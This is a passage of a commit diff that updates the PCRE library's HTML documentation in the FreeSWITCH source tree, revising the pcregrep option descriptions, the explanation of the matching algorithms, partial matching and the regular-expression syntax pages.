+the control string for setting colour on a terminal, so it is your
+responsibility to ensure that they make sense. If neither of the environment
+variables is set, the default is "1;31", which gives red.
+</P>
+<P>
 <b>-D</b> <i>action</i>, <b>--devices=</b><i>action</i>
 If an input path is not a regular file or a directory, "action" specifies how
 it is to be processed. Valid values are "read" (the default) or "skip"
@@ -150,32 +193,45 @@
 of reading a directory like this is an immediate end-of-file.
 </P>
 <P>
-<b>-e</b> <i>pattern</i>, <b>--regex=</b><i>pattern</i>,
-<b>--regexp=</b><i>pattern</i> Specify a pattern to be matched. This option can
-be used multiple times in order to specify several patterns. It can also be
-used as a way of specifying a single pattern that starts with a hyphen. When
-<b>-e</b> is used, no argument pattern is taken from the command line; all
-arguments are treated as file names. There is an overall maximum of 100
-patterns. They are applied to each line in the order in which they are defined
-until one matches (or fails to match if <b>-v</b> is used). If <b>-f</b> is used
-with <b>-e</b>, the command line patterns are matched first, followed by the
-patterns from the file, independent of the order in which these options are
-specified. Note that multiple use of <b>-e</b> is not the same as a single
-pattern with alternatives. For example, X|Y finds the first character in a line
-that is X or Y, whereas if the two patterns are given separately,
-<b>pcregrep</b> finds X if it is present, even if it follows Y in the line. It
-finds Y only if there is no X in the line. This really matters only if you are
-using <b>-o</b> to show the portion of the line that matched.
+<b>-e</b> <i>pattern</i>, <b>--regex=</b><i>pattern</i>, <b>--regexp=</b><i>pattern</i>
+Specify a pattern to be matched. This option can be used multiple times in
+order to specify several patterns. It can also be used as a way of specifying a
+single pattern that starts with a hyphen. When <b>-e</b> is used, no argument
+pattern is taken from the command line; all arguments are treated as file
+names. There is an overall maximum of 100 patterns. They are applied to each
+line in the order in which they are defined until one matches (or fails to
+match if <b>-v</b> is used). If <b>-f</b> is used with <b>-e</b>, the command line
+patterns are matched first, followed by the patterns from the file, independent
+of the order in which these options are specified. Note that multiple use of
+<b>-e</b> is not the same as a single pattern with alternatives. For example,
+X|Y finds the first character in a line that is X or Y, whereas if the two
+patterns are given separately, <b>pcregrep</b> finds X if it is present, even if
+it follows Y in the line. It finds Y only if there is no X in the line. This
+really matters only if you are using <b>-o</b> to show the part(s) of the line
+that matched.
 </P>
 <P>
 <b>--exclude</b>=<i>pattern</i>
 When <b>pcregrep</b> is searching the files in a directory as a consequence of
-the <b>-r</b> (recursive search) option, any files whose names match the pattern
-are excluded. The pattern is a PCRE regular expression. If a file name matches
-both <b>--include</b> and <b>--exclude</b>, it is excluded. There is no short
-form for this option.
+the <b>-r</b> (recursive search) option, any regular files whose names match the
+pattern are excluded. Subdirectories are not excluded by this option; they are
+searched recursively, subject to the <b>--exclude_dir</b> and
+<b>--include_dir</b> options. The pattern is a PCRE regular expression, and is
+matched against the final component of the file name (not the entire path). If
+a file name matches both <b>--include</b> and <b>--exclude</b>, it is excluded.
+There is no short form for this option.
 </P>
 <P>
+<b>--exclude_dir</b>=<i>pattern</i>
+When <b>pcregrep</b> is searching the contents of a directory as a consequence
+of the <b>-r</b> (recursive search) option, any subdirectories whose names match
+the pattern are excluded. (Note that the \fP--exclude\fP option does not affect
+subdirectories.) The pattern is a PCRE regular expression, and is matched
+against the final component of the name (not the entire path). If a
+subdirectory name matches both <b>--include_dir</b> and <b>--exclude_dir</b>, it
+is excluded. There is no short form for this option.
+</P>
+<P>
 <b>-F</b>, <b>--fixed-strings</b>
 Interpret each pattern as a list of fixed strings, separated by newlines,
 instead of as a regular expression. The <b>-w</b> (match as a word) and <b>-x</b>
@@ -193,27 +249,37 @@
 is taken from the command line; all arguments are treated as file names. There
 is an overall maximum of 100 patterns. Trailing white space is removed from
 each line, and blank lines are ignored. An empty file contains no patterns and
-therefore matches nothing.
+therefore matches nothing. See also the comments about multiple patterns versus
+a single pattern with alternatives in the description of <b>-e</b> above.
 </P>
 <P>
+<b>--file-offsets</b>
+Instead of showing lines or parts of lines that match, show each match as an
+offset from the start of the file and a length, separated by a comma. In this
+mode, no context is shown. That is, the <b>-A</b>, <b>-B</b>, and <b>-C</b>
+options are ignored. If there is more than one match in a line, each of them is
+shown separately. This option is mutually exclusive with <b>--line-offsets</b>
+and <b>--only-matching</b>.
+</P>
+<P>
 <b>-H</b>, <b>--with-filename</b>
 Force the inclusion of the filename at the start of output lines when searching
 a single file. By default, the filename is not shown in this case. For matching
-lines, the filename is followed by a colon and a space; for context lines, a
-hyphen separator is used. If a line number is also being output, it follows the
-file name without a space.
+lines, the filename is followed by a colon; for context lines, a hyphen
+separator is used. If a line number is also being output, it follows the file
+name.
 </P>
 <P>
 <b>-h</b>, <b>--no-filename</b>
 Suppress the output filenames when searching multiple files. By default,
 filenames are shown when multiple files are searched. For matching lines, the
-filename is followed by a colon and a space; for context lines, a hyphen
-separator is used. If a line number is also being output, it follows the file
-name without a space.
+filename is followed by a colon; for context lines, a hyphen separator is used.
+If a line number is also being output, it follows the file name.
 </P>
 <P>
 <b>--help</b>
-Output a brief help message and exit.
+Output a help message, giving brief details of the command options and file
+type support, and then exit.
 </P>
 <P>
 <b>-i</b>, <b>--ignore-case</b>
@@ -222,12 +288,25 @@
 <P>
 <b>--include</b>=<i>pattern</i>
 When <b>pcregrep</b> is searching the files in a directory as a consequence of
-the <b>-r</b> (recursive search) option, only those files whose names match the
-pattern are included. The pattern is a PCRE regular expression. If a file name
-matches both <b>--include</b> and <b>--exclude</b>, it is excluded. There is no
-short form for this option.
+the <b>-r</b> (recursive search) option, only those regular files whose names
+match the pattern are included. Subdirectories are always included and searched
+recursively, subject to the \fP--include_dir\fP and <b>--exclude_dir</b>
+options. The pattern is a PCRE regular expression, and is matched against the
+final component of the file name (not the entire path). If a file name matches
+both <b>--include</b> and <b>--exclude</b>, it is excluded. There is no short
+form for this option.
 </P>
 <P>
+<b>--include_dir</b>=<i>pattern</i>
+When <b>pcregrep</b> is searching the contents of a directory as a consequence
+of the <b>-r</b> (recursive search) option, only those subdirectories whose
+names match the pattern are included. (Note that the <b>--include</b> option
+does not affect subdirectories.) The pattern is a PCRE regular expression, and
+is matched against the final component of the name (not the entire path). If a
+subdirectory name matches both <b>--include_dir</b> and <b>--exclude_dir</b>, it
+is excluded. There is no short form for this option.
+</P>
+<P>
 <b>-L</b>, <b>--files-without-match</b>
 Instead of outputting lines from the files, just output the names of the files
 that do not contain any lines that would have been output. Each file name is
@@ -247,6 +326,16 @@
 short form for this option.
 </P>
 <P>
+<b>--line-offsets</b>
+Instead of showing lines or parts of lines that match, show each match as a
+line number, the offset from the start of the line, and a length. The line
+number is terminated by a colon (as usual; see the <b>-n</b> option), and the
+offset and length are separated by a comma. In this mode, no context is shown.
+That is, the <b>-A</b>, <b>-B</b>, and <b>-C</b> options are ignored. If there is
+more than one match in a line, each of them is shown separately. This option is
+mutually exclusive with <b>--file-offsets</b> and <b>--only-matching</b>.
+</P>
+<P>
 <b>--locale</b>=<i>locale-name</i>
 This option specifies a locale to be used for pattern matching. It overrides
 the value in the <b>LC_ALL</b> or <b>LC_CTYPE</b> environment variables. If no
@@ -268,28 +357,41 @@
 </P>
 <P>
 <b>-N</b> <i>newline-type</i>, <b>--newline=</b><i>newline-type</i>
-The PCRE library supports three different character sequences for indicating
+The PCRE library supports five different conventions for indicating
 the ends of lines. They are the single-character sequences CR (carriage return)
-and LF (linefeed), and the two-character sequence CR, LF. When the library is
-built, a default line-ending sequence is specified. This is normally the
-standard sequence for the operating system. Unless otherwise specified by this
-option, <b>pcregrep</b> uses the default. The possible values for this option
-are CR, LF, or CRLF. This makes it possible to use <b>pcregrep</b> on files that
-have come from other environments without having to modify their line endings.
-If the data that is being scanned does not agree with the convention set by
-this option, <b>pcregrep</b> may behave in strange ways.
+and LF (linefeed), the two-character sequence CRLF, an "anycrlf" convention,
+which recognizes any of the preceding three types, and an "any" convention, in
+which any Unicode line ending sequence is assumed to end a line. The Unicode
+sequences are the three just mentioned, plus VT (vertical tab, U+000B), FF
+(formfeed, U+000C), NEL (next line, U+0085), LS (line separator, U+2028), and
+PS (paragraph separator, U+2029).
+<br>
+<br>
+When the PCRE library is built, a default line-ending sequence is specified.
+This is normally the standard sequence for the operating system. Unless
+otherwise specified by this option, <b>pcregrep</b> uses the library's default.
+The possible values for this option are CR, LF, CRLF, ANYCRLF, or ANY. This
+makes it possible to use <b>pcregrep</b> on files that have come from other
+environments without having to modify their line endings. If the data that is
+being scanned does not agree with the convention set by this option,
+<b>pcregrep</b> may behave in strange ways.
 </P>
 <P>
 <b>-n</b>, <b>--line-number</b>
 Precede each output line by its line number in the file, followed by a colon
-and a space for matching lines or a hyphen and a space for context lines. If
-the filename is also being output, it precedes the line number.
+for matching lines or a hyphen for context lines. If the filename is also being
+output, it precedes the line number. This option is forced if
+<b>--line-offsets</b> is used.
 </P>
 <P>
 <b>-o</b>, <b>--only-matching</b>
 Show only the part of the line that matched a pattern. In this mode, no
 context is shown. That is, the <b>-A</b>, <b>-B</b>, and <b>-C</b> options are
-ignored.
+ignored. If there is more than one match in a line, each of them is shown
+separately. If <b>-o</b> is combined with <b>-v</b> (invert the sense of the
+match to find non-matching lines), no output is generated, but the return code
+is set appropriately. This option is mutually exclusive with
+<b>--file-offsets</b> and <b>--line-offsets</b>.
 </P>
 <P>
 <b>-q</b>, <b>--quiet</b>
@@ -332,20 +434,20 @@
 at the start and end of the pattern.
 </P>
 <P>
-<b>-x</b>, <b>--line-regex</b>, \fP--line-regexp\fP
+<b>-x</b>, <b>--line-regex</b>, <b>--line-regexp</b>
 Force the patterns to be anchored (each must start matching at the beginning of
 a line) and in addition, require them to match entire lines. This is
 equivalent to having ^ and $ characters at the start and end of each
 alternative branch in every pattern.
 </P>
-<br><a name="SEC4" href="#TOC1">ENVIRONMENT VARIABLES</a><br>
+<br><a name="SEC5" href="#TOC1">ENVIRONMENT VARIABLES</a><br>
 <P>
 The environment variables <b>LC_ALL</b> and <b>LC_CTYPE</b> are examined, in that
 order, for a locale. The first one that is set is used. This can be overridden
 by the <b>--locale</b> option. If no locale is set, the PCRE library's default
 (usually the "C" locale) is used.
 </P>
-<br><a name="SEC5" href="#TOC1">NEWLINES</a><br>
+<br><a name="SEC6" href="#TOC1">NEWLINES</a><br>
 <P>
 The <b>-N</b> (<b>--newline</b>) option allows <b>pcregrep</b> to scan files with
 different newline conventions from the default. However, the setting of this
@@ -354,7 +456,7 @@
 <b>printf()</b> calls to indicate newlines, relying on the C I/O library to
 convert this to an appropriate sequence if the output is sent to a file.
 </P>
-<br><a name="SEC6" href="#TOC1">OPTIONS COMPATIBILITY</a><br>
+<br><a name="SEC7" href="#TOC1">OPTIONS COMPATIBILITY</a><br>
 <P>
 The majority of short and long forms of <b>pcregrep</b>'s options are the same
 as in the GNU <b>grep</b> program. Any long option of the form
@@ -362,7 +464,7 @@
 (PCRE terminology). However, the <b>--locale</b>, <b>-M</b>, <b>--multiline</b>,
 <b>-u</b>, and <b>--utf-8</b> options are specific to <b>pcregrep</b>.
 </P>
-<br><a name="SEC7" href="#TOC1">OPTIONS WITH DATA</a><br>
+<br><a name="SEC8" href="#TOC1">OPTIONS WITH DATA</a><br>
 <P>
 There are four different ways in which an option with data can be specified.
 If a short form option is used, the data may follow immediately, or in the next
@@ -389,7 +491,7 @@
 in the first form, using an equals character. Otherwise it will be assumed that
 it has no data.
 </P>
-<br><a name="SEC8" href="#TOC1">MATCHING ERRORS</a><br>
+<br><a name="SEC9" href="#TOC1">MATCHING ERRORS</a><br>
 <P>
 It is possible to supply a regular expression that takes a very long time to
 fail to match certain lines. Such patterns normally involve nested indefinite
@@ -399,7 +501,7 @@
 message and the line that caused the problem to the standard error stream. If
 there are more than 20 such errors, <b>pcregrep</b> gives up.
 </P>
-<br><a name="SEC9" href="#TOC1">DIAGNOSTICS</a><br>
+<br><a name="SEC10" href="#TOC1">DIAGNOSTICS</a><br>
 <P>
 Exit status is 0 if any matches were found, 1 if no matches were found, and 2
 for syntax errors and non-existent or inacessible files (even if matches were
@@ -407,18 +509,25 @@
 suppress error messages about inaccessble files does not affect the return
 code.
 </P>
-<br><a name="SEC10" href="#TOC1">AUTHOR</a><br>
+<br><a name="SEC11" href="#TOC1">SEE ALSO</a><br>
 <P>
+<b>pcrepattern</b>(3), <b>pcretest</b>(1).
+</P>
+<br><a name="SEC12" href="#TOC1">AUTHOR</a><br>
+<P>
 Philip Hazel
 <br>
 University Computing Service
 <br>
-Cambridge CB2 3QG, England.
+Cambridge CB2 3QH, England.
+<br>
 </P>
+<br><a name="SEC13" href="#TOC1">REVISION</a><br>
 <P>
-Last updated: 06 June 2006
+Last updated: 01 March 2009
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrematching.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrematching.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrematching.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,9 +16,11 @@
 <li><a name="TOC1" href="#SEC1">PCRE MATCHING ALGORITHMS</a>
 <li><a name="TOC2" href="#SEC2">REGULAR EXPRESSIONS AS TREES</a>
 <li><a name="TOC3" href="#SEC3">THE STANDARD MATCHING ALGORITHM</a>
-<li><a name="TOC4" href="#SEC4">THE DFA MATCHING ALGORITHM</a>
-<li><a name="TOC5" href="#SEC5">ADVANTAGES OF THE DFA ALGORITHM</a>
-<li><a name="TOC6" href="#SEC6">DISADVANTAGES OF THE DFA ALGORITHM</a>
+<li><a name="TOC4" href="#SEC4">THE ALTERNATIVE MATCHING ALGORITHM</a>
+<li><a name="TOC5" href="#SEC5">ADVANTAGES OF THE ALTERNATIVE ALGORITHM</a>
+<li><a name="TOC6" href="#SEC6">DISADVANTAGES OF THE ALTERNATIVE ALGORITHM</a>
+<li><a name="TOC7" href="#SEC7">AUTHOR</a>
+<li><a name="TOC8" href="#SEC8">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">PCRE MATCHING ALGORITHMS</a><br>
 <P>
@@ -46,7 +48,7 @@
   &#60;something&#62; &#60;something else&#62; &#60;something further&#62;
 </pre>
 there are three possible answers. The standard algorithm finds only one of
-them, whereas the DFA algorithm finds all three.
+them, whereas the alternative algorithm finds all three.
 </P>
 <br><a name="SEC2" href="#TOC1">REGULAR EXPRESSIONS AS TREES</a><br>
 <P>
@@ -59,8 +61,8 @@
 </P>
 <br><a name="SEC3" href="#TOC1">THE STANDARD MATCHING ALGORITHM</a><br>
 <P>
-In the terminology of Jeffrey Friedl's book \fIMastering Regular
-Expressions\fP, the standard algorithm is an "NFA algorithm". It conducts a
+In the terminology of Jeffrey Friedl's book "Mastering Regular
+Expressions", the standard algorithm is an "NFA algorithm". It conducts a
 depth-first search of the pattern tree. That is, it proceeds along a single
 path through the tree, checking that the subject matches what is required. When
 there is a mismatch, the algorithm tries any alternatives at the current point,
@@ -83,14 +85,15 @@
 matched by portions of the pattern in parentheses. This provides support for
 capturing parentheses and back references.
 </P>
-<br><a name="SEC4" href="#TOC1">THE DFA MATCHING ALGORITHM</a><br>
+<br><a name="SEC4" href="#TOC1">THE ALTERNATIVE MATCHING ALGORITHM</a><br>
 <P>
-DFA stands for "deterministic finite automaton", but you do not need to
-understand the origins of that name. This algorithm conducts a breadth-first
-search of the tree. Starting from the first matching point in the subject, it
-scans the subject string from left to right, once, character by character, and
-as it does this, it remembers all the paths through the tree that represent
-valid matches.
+This algorithm conducts a breadth-first search of the tree. Starting from the
+first matching point in the subject, it scans the subject string from left to
+right, once, character by character, and as it does this, it remembers all the
+paths through the tree that represent valid matches. In Friedl's terminology,
+this is a kind of "DFA algorithm", though it is not implemented as a
+traditional finite state machine (it keeps multiple states active
+simultaneously).
 </P>
 <P>
 The scan continues until either the end of the subject is reached, or there are
@@ -114,12 +117,21 @@
 </P>
 <P>
 There are a number of features of PCRE regular expressions that are not
-supported by the DFA matching algorithm. They are as follows:
+supported by the alternative matching algorithm. They are as follows:
 </P>
 <P>
 1. Because the algorithm finds all possible matches, the greedy or ungreedy
 nature of repetition quantifiers is not relevant. Greedy and ungreedy
-quantifiers are treated in exactly the same way.
+quantifiers are treated in exactly the same way. However, possessive
+quantifiers can make a difference when what follows could also match what is
+quantified, for example in a pattern like this:
+<pre>
+  ^a++\w!
+</pre>
+This pattern matches "aaab!" but not "aaa!", which would be matched by a
+non-possessive quantifier. Similarly, if an atomic group is present, it is
+matched as if it were a standalone pattern at the current point, and the
+longest match is then "locked in" for the rest of the overall pattern.
 </P>
 <P>
 2. When dealing with multiple paths through the tree simultaneously, it is not
@@ -133,24 +145,32 @@
 </P>
 <P>
 4. For the same reason, conditional expressions that use a backreference as the
-condition are not supported.
+condition or test for a specific group recursion are not supported.
 </P>
 <P>
-5. Callouts are supported, but the value of the <i>capture_top</i> field is
+5. Because many paths through the tree may be active, the \K escape sequence,
+which resets the start of the match when encountered (but may be on some paths
+and not on others), is not supported. It causes an error if encountered.
+</P>
+<P>
+6. Callouts are supported, but the value of the <i>capture_top</i> field is
 always 1, and the value of the <i>capture_last</i> field is always -1.
 </P>
 <P>
-6.
-The \C escape sequence, which (in the standard algorithm) matches a single
-byte, even in UTF-8 mode, is not supported because the DFA algorithm moves
-through the subject string one character at a time, for all active paths
+7. The \C escape sequence, which (in the standard algorithm) matches a single
+byte, even in UTF-8 mode, is not supported because the alternative algorithm
+moves through the subject string one character at a time, for all active paths
 through the tree.
 </P>
-<br><a name="SEC5" href="#TOC1">ADVANTAGES OF THE DFA ALGORITHM</a><br>
 <P>
-Using the DFA matching algorithm provides the following advantages:
+8. Except for (*FAIL), the backtracking control verbs such as (*PRUNE) are not
+supported. (*FAIL) is supported, and behaves like a failing negative assertion.
 </P>
+<br><a name="SEC5" href="#TOC1">ADVANTAGES OF THE ALTERNATIVE ALGORITHM</a><br>
 <P>
+Using the alternative matching algorithm provides the following advantages:
+</P>
+<P>
 1. All possible matches (at a single point in the subject) are automatically
 found, and in particular, the longest match is found. To find more than one
 match using the standard algorithm, you have to do kludgy things with
@@ -159,17 +179,18 @@
 <P>
 2. There is much better support for partial matching. The restrictions on the
 content of the pattern that apply when using the standard algorithm for partial
-matching do not apply to the DFA algorithm. For non-anchored patterns, the
-starting position of a partial match is available.
+matching do not apply to the alternative algorithm. For non-anchored patterns,
+the starting position of a partial match is available.
 </P>
 <P>
-3. Because the DFA algorithm scans the subject string just once, and never
-needs to backtrack, it is possible to pass very long subject strings to the
-matching function in several pieces, checking for partial matching each time.
+3. Because the alternative algorithm scans the subject string just once, and
+never needs to backtrack, it is possible to pass very long subject strings to
+the matching function in several pieces, checking for partial matching each
+time.
 </P>
-<br><a name="SEC6" href="#TOC1">DISADVANTAGES OF THE DFA ALGORITHM</a><br>
+<br><a name="SEC6" href="#TOC1">DISADVANTAGES OF THE ALTERNATIVE ALGORITHM</a><br>
 <P>
-The DFA algorithm suffers from a number of disadvantages:
+The alternative algorithm suffers from a number of disadvantages:
 </P>
 <P>
 1. It is substantially slower than the standard algorithm. This is partly
@@ -180,13 +201,24 @@
 2. Capturing parentheses and back references are not supported.
 </P>
 <P>
-3. The "atomic group" feature of PCRE regular expressions is supported, but
-does not provide the advantage that it does for the standard algorithm.
+3. Although atomic groups are supported, their use does not provide the
+performance advantage that it does for the standard algorithm.
 </P>
+<br><a name="SEC7" href="#TOC1">AUTHOR</a><br>
 <P>
-Last updated: 06 June 2006
+Philip Hazel
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC8" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 19 April 2008
+<br>
+Copyright &copy; 1997-2008 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrepartial.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrepartial.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrepartial.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,8 @@
 <li><a name="TOC2" href="#SEC2">RESTRICTED PATTERNS FOR PCRE_PARTIAL</a>
 <li><a name="TOC3" href="#SEC3">EXAMPLE OF PARTIAL MATCHING USING PCRETEST</a>
 <li><a name="TOC4" href="#SEC4">MULTI-SEGMENT MATCHING WITH pcre_dfa_exec()</a>
+<li><a name="TOC5" href="#SEC5">AUTHOR</a>
+<li><a name="TOC6" href="#SEC6">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">PARTIAL MATCHING IN PCRE</a><br>
 <P>
@@ -90,6 +92,8 @@
 <P>
 If PCRE_PARTIAL is set for a pattern that does not conform to the restrictions,
 <b>pcre_exec()</b> returns the error code PCRE_ERROR_BADPARTIAL (-13).
+You can use the PCRE_INFO_OKPARTIAL call to <b>pcre_fullinfo()</b> to find out
+if a compiled pattern can be used for partial matching.
 </P>
 <br><a name="SEC3" href="#TOC1">EXAMPLE OF PARTIAL MATCHING USING PCRETEST</a><br>
 <P>
@@ -112,8 +116,9 @@
 </pre>
 The first data string is matched completely, so <b>pcretest</b> shows the
 matched substrings. The remaining four strings do not match the complete
-pattern, but the first two are partial matches. The same test, using DFA
-matching (by means of the \D escape sequence), produces the following output:
+pattern, but the first two are partial matches. The same test, using
+<b>pcre_dfa_exec()</b> matching (by means of the \D escape sequence), produces
+the following output:
 <pre>
     re&#62; /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
   data&#62; 25jun04\P\D
@@ -134,11 +139,11 @@
 <P>
 When a partial match has been found using <b>pcre_dfa_exec()</b>, it is possible
 to continue the match by providing additional subject data and calling
-<b>pcre_dfa_exec()</b> again with the PCRE_DFA_RESTART option and the same
-working space (where details of the previous partial match are stored). Here is
-an example using <b>pcretest</b>, where the \R escape sequence sets the
-PCRE_DFA_RESTART option and the \D escape sequence requests the use of
-<b>pcre_dfa_exec()</b>:
+<b>pcre_dfa_exec()</b> again with the same compiled regular expression, this
+time setting the PCRE_DFA_RESTART option. You must also pass the same working
+space as before, because this is where details of the previous partial match
+are stored. Here is an example using <b>pcretest</b>, using the \R escape
+sequence to set the PCRE_DFA_RESTART option (\P and \D are as above):
 <pre>
     re&#62; /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
   data&#62; 23ja\P\D
@@ -153,9 +158,10 @@
 program to do that if it needs to.
 </P>
 <P>
-This facility can be used to pass very long subject strings to
-<b>pcre_dfa_exec()</b>. However, some care is needed for certain types of
-pattern.
+You can set PCRE_PARTIAL with PCRE_DFA_RESTART to continue partial matching
+over multiple segments. This facility can be used to pass very long subject
+strings to <b>pcre_dfa_exec()</b>. However, some care is needed for certain
+types of pattern.
 </P>
 <P>
 1. If the pattern contains tests for the beginning or end of a line, you need
@@ -165,7 +171,7 @@
 <P>
 2. If the pattern contains backward assertions (including \b or \B), you need
 to arrange for some overlap in the subject strings to allow for this. For
-example, you could pass the subject in chunks that were 500 bytes long, but in
+example, you could pass the subject in chunks that are 500 bytes long, but in
 a buffer of 700 bytes, with the starting offset set to 200 and the previous 200
 bytes at the start of the buffer.
 </P>
@@ -174,7 +180,7 @@
 always produce exactly the same result as matching over one single long string.
 The difference arises when there are multiple matching possibilities, because a
 partial match result is given only when there are no completed matches in a
-call to fBpcre_dfa_exec()\fP. This means that as soon as the shortest match has
+call to <b>pcre_dfa_exec()</b>. This means that as soon as the shortest match has
 been found, continuation to a new subject segment is no longer possible.
 Consider this <b>pcretest</b> example:
 <pre>
@@ -216,10 +222,21 @@
 </pre>
 where no string can be a partial match for both alternatives.
 </P>
+<br><a name="SEC5" href="#TOC1">AUTHOR</a><br>
 <P>
-Last updated: 16 January 2006
+Philip Hazel
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC6" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 04 June 2007
+<br>
+Copyright &copy; 1997-2007 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrepattern.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrepattern.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrepattern.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,41 +14,64 @@
 <br>
 <ul>
 <li><a name="TOC1" href="#SEC1">PCRE REGULAR EXPRESSION DETAILS</a>
-<li><a name="TOC2" href="#SEC2">BACKSLASH</a>
-<li><a name="TOC3" href="#SEC3">CIRCUMFLEX AND DOLLAR</a>
-<li><a name="TOC4" href="#SEC4">FULL STOP (PERIOD, DOT)</a>
-<li><a name="TOC5" href="#SEC5">MATCHING A SINGLE BYTE</a>
-<li><a name="TOC6" href="#SEC6">SQUARE BRACKETS AND CHARACTER CLASSES</a>
-<li><a name="TOC7" href="#SEC7">POSIX CHARACTER CLASSES</a>
-<li><a name="TOC8" href="#SEC8">VERTICAL BAR</a>
-<li><a name="TOC9" href="#SEC9">INTERNAL OPTION SETTING</a>
-<li><a name="TOC10" href="#SEC10">SUBPATTERNS</a>
-<li><a name="TOC11" href="#SEC11">NAMED SUBPATTERNS</a>
-<li><a name="TOC12" href="#SEC12">REPETITION</a>
-<li><a name="TOC13" href="#SEC13">ATOMIC GROUPING AND POSSESSIVE QUANTIFIERS</a>
-<li><a name="TOC14" href="#SEC14">BACK REFERENCES</a>
-<li><a name="TOC15" href="#SEC15">ASSERTIONS</a>
-<li><a name="TOC16" href="#SEC16">CONDITIONAL SUBPATTERNS</a>
-<li><a name="TOC17" href="#SEC17">COMMENTS</a>
-<li><a name="TOC18" href="#SEC18">RECURSIVE PATTERNS</a>
-<li><a name="TOC19" href="#SEC19">SUBPATTERNS AS SUBROUTINES</a>
-<li><a name="TOC20" href="#SEC20">CALLOUTS</a>
+<li><a name="TOC2" href="#SEC2">NEWLINE CONVENTIONS</a>
+<li><a name="TOC3" href="#SEC3">CHARACTERS AND METACHARACTERS</a>
+<li><a name="TOC4" href="#SEC4">BACKSLASH</a>
+<li><a name="TOC5" href="#SEC5">CIRCUMFLEX AND DOLLAR</a>
+<li><a name="TOC6" href="#SEC6">FULL STOP (PERIOD, DOT)</a>
+<li><a name="TOC7" href="#SEC7">MATCHING A SINGLE BYTE</a>
+<li><a name="TOC8" href="#SEC8">SQUARE BRACKETS AND CHARACTER CLASSES</a>
+<li><a name="TOC9" href="#SEC9">POSIX CHARACTER CLASSES</a>
+<li><a name="TOC10" href="#SEC10">VERTICAL BAR</a>
+<li><a name="TOC11" href="#SEC11">INTERNAL OPTION SETTING</a>
+<li><a name="TOC12" href="#SEC12">SUBPATTERNS</a>
+<li><a name="TOC13" href="#SEC13">DUPLICATE SUBPATTERN NUMBERS</a>
+<li><a name="TOC14" href="#SEC14">NAMED SUBPATTERNS</a>
+<li><a name="TOC15" href="#SEC15">REPETITION</a>
+<li><a name="TOC16" href="#SEC16">ATOMIC GROUPING AND POSSESSIVE QUANTIFIERS</a>
+<li><a name="TOC17" href="#SEC17">BACK REFERENCES</a>
+<li><a name="TOC18" href="#SEC18">ASSERTIONS</a>
+<li><a name="TOC19" href="#SEC19">CONDITIONAL SUBPATTERNS</a>
+<li><a name="TOC20" href="#SEC20">COMMENTS</a>
+<li><a name="TOC21" href="#SEC21">RECURSIVE PATTERNS</a>
+<li><a name="TOC22" href="#SEC22">SUBPATTERNS AS SUBROUTINES</a>
+<li><a name="TOC23" href="#SEC23">ONIGURUMA SUBROUTINE SYNTAX</a>
+<li><a name="TOC24" href="#SEC24">CALLOUTS</a>
+<li><a name="TOC25" href="#SEC25">BACKTRACKING CONTROL</a>
+<li><a name="TOC26" href="#SEC26">SEE ALSO</a>
+<li><a name="TOC27" href="#SEC27">AUTHOR</a>
+<li><a name="TOC28" href="#SEC28">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">PCRE REGULAR EXPRESSION DETAILS</a><br>
 <P>
-The syntax and semantics of the regular expressions supported by PCRE are
-described below. Regular expressions are also described in the Perl
-documentation and in a number of books, some of which have copious examples.
-Jeffrey Friedl's "Mastering Regular Expressions", published by O'Reilly, covers
-regular expressions in great detail. This description of PCRE's regular
-expressions is intended as reference material.
+The syntax and semantics of the regular expressions that are supported by PCRE
+are described in detail below. There is a quick-reference syntax summary in the
+<a href="pcresyntax.html"><b>pcresyntax</b></a>
+page. PCRE tries to match Perl syntax and semantics as closely as it can. PCRE
+also supports some alternative regular expression syntax (which does not
+conflict with the Perl syntax) in order to provide some compatibility with
+regular expressions in Python, .NET, and Oniguruma.
 </P>
 <P>
+Perl's regular expressions are described in its own documentation, and
+regular expressions in general are covered in a number of books, some of which
+have copious examples. Jeffrey Friedl's "Mastering Regular Expressions",
+published by O'Reilly, covers regular expressions in great detail. This
+description of PCRE's regular expressions is intended as reference material.
+</P>
+<P>
 The original operation of PCRE was on strings of one-byte characters. However,
 there is now also support for UTF-8 character strings. To use this, you must
 build PCRE to include UTF-8 support, and then call <b>pcre_compile()</b> with
-the PCRE_UTF8 option. How this affects pattern matching is mentioned in several
-places below. There is also a summary of UTF-8 features in the
+the PCRE_UTF8 option. There is also a special sequence that can be given at the
+start of a pattern:
+<pre>
+  (*UTF8)
+</pre>
+Starting a pattern with this sequence is equivalent to setting the PCRE_UTF8
+option. This feature is not Perl-compatible. How setting UTF-8 mode affects
